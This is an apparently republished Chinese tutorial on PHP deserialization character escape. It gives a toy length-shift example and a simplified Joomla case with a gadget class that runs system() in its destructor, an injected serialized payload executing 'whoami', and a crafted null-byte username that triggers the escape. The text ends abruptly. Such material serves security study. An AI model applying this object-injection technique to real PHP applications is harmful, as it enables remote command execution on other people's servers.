漏洞产生原因:当开发者先将对象序列化然后再将对象中的字符进行过滤,最后再将其反序列化。这个时候就有可能产生PHP反序列化字符逃逸。
在进行反序列化时会对着s的值即字符穿长度,向右进项读取。
当读取的长度不符合时会报错。
假设h是危险字符对其进行过滤,将一个h替换9个t,那么3个h就会变成27个t,
O:4:"test":2:{s:4:"name";s:27:"ttttttttttttttttttttttttttt";s:3:"age";s:3:"yess";}";s:3:"age";s:2:"wq";}
那么由于name后的字符长度值s仍然为27,那么如果变成了27个t,按照反序列化的规则,到第27个字符就读取结束以;来结束。
逃逸成功
Joomla 分析
从网上copy简化的Joomla代码:
class evil{
public $cmd;
public function __construct($cmd){
$this->cmd = $cmd;
}
public function __destruct(){
system($this->cmd);
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
$data = str_replace(chr(0).'*'.chr(0), ' ', $data);
file_put_contents("dbs.txt", $data);
}
function read(){
$data = file_get_contents("dbs.txt");
$r = str_replace(' ', chr(0).'*'.chr(0), $data);
return $r;
}
if(file_exists("dbs.txt")){
unlink("dbs.txt");
}
$username = "peri0d";
$password = "1234";
$payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));
接下来在看源代码中看到read这个方法
把一组 替换成3个字符长度,长度减少一半。
我们在调用read方法时后会进行过滤,\0\0\0 6个字符长度会被替换成3个字符长度
所以我们可以设置username的值为9组 那么经过read方法过滤后长度就会缩短到27个,就会包含到上图的password的值
$username = "peri0d\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
所以我们最后执行
原文始发于微信公众号(是恒恒呐):PHP反序列化字符逃逸
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论